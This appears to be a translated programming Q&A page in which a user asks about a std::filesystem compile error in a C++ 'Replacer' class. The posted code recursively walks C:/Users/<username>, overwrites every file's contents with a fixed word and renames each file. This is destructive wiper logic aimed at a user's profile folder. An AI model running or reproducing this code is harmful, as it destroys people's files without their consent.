首页 > 解决方案 > 使用 std::filesystem,错误显示无法将 int 转换为 _Valty

问题描述

我正在编写一个程序来帮助我理解 std::filesystem 的来龙去脉。但是,当我开始构建时,我收到一个错误 (C2440),当将 directory_iterator 与 directory_entry 结合使用时,我无法将类型“int”转换为“_Valty”。它在文件系统代码中显示错误,所以我不知道它在我的代码中导致它的位置。

#include "Replacer.h"
#include<lmcons.h>


Replacer& Replacer::GetInstance()
{
    static Replacer instance;
    return instance;
}


void Replacer::Init()
{
    std::string base_path = "C:/Users/";

    // Get the username.
    WCHAR username[UNLEN + 1];
    DWORD username_len = UNLEN + 1;
    GetUserName(username, &username_len);

    // Add it to the string.
    base_path.append((char*)username);
    base_path.shrink_to_fit(); // Gotta make sure.

    // Set the base bath.
    begining_path = new fs::path(base_path);

    // Set the current path to the begginging path.
    current_path = new fs::path(begining_path); /// Hate that I have to use copy, but oh well.

    return;
}


void Replacer::Search(UINT cycles)
{
    // I have no interest in replacing folder names...
    // Just file names and data.

    for (UINT i = 0; i < cycles; ++i) // MAIN LOOP.
    {
        VisualUpdater(i);
        SearchCurrentPath(current_path);
    }

    return;
}


void Replacer::Unload()
{
    delete begining_path;
    delete current_path;

    begining_path = nullptr;
    current_path = nullptr;
}


Replacer::Replacer()
    : begining_path(), current_path()
{}


void Replacer::Replace(std::string& filename)
{
    // We have found a file that we need to replace.
    /// Of couse we have dumbass, we're here, aren't we?

    // Open up the file...
    std::ofstream out;
    out.open(filename, std::ios::out);

    out.clear(); // Clear the file.
    out.write(THE_WORD, std::string(THE_WORD).size()); // Replace the data with the word.

    // Replace the filename with the word.
    fs::rename(std::string(current_path->string()).append('/' + filename), THE_WORD);

    return;
}


void Replacer::ChangeDirectory(fs::directory_entry &iter)
{
    *current_path = iter.path(); // Change the current path to the next path.
    SearchCurrentPath(current_path); // This is where the recursion begins.
}


void Replacer::VisualUpdater(UINT cycles)
{
    std::cout << "\nCycle #: " << cycles;
    std::cout << "\nCurrent path: " << current_path->string();
    std::cout << "\nBase path: " << begining_path->string();

    std::cout << "\n" << NUM_CYCLES - cycles << " cycles left." << std::endl;
}


void Replacer::SearchCurrentPath(fs::path *curr)
{
    for (auto& i : fs::directory_iterator(curr->string()))
    {
        if (i.path().empty())
            continue; // This *does* come in handy.

        if (fs::is_regular_file(i)) // We have to check if it is a regular file so we can change the
        {   // name and the data.
            std::string temp(i.path().filename().string());
            Replace(temp);
        }

        else
        {
            // Here is where we move up a directory.
            fs::directory_entry entry = i;
            ChangeDirectory(entry);
        }
    }
}

如果我不得不猜测,我会假设它在上面写的最后一个函数中,但我并不完全确定。有人对我将如何解决这个问题有任何想法吗?

标签: c++error-handlingtype-conversionstd-filesystem

解决方案


所以,最后我想通了。对于任何好奇的人,它不在底部功能中。这是我在 Init 函数中使用复制构造函数的地方。我猜文件系统不喜欢那样。


推荐阅读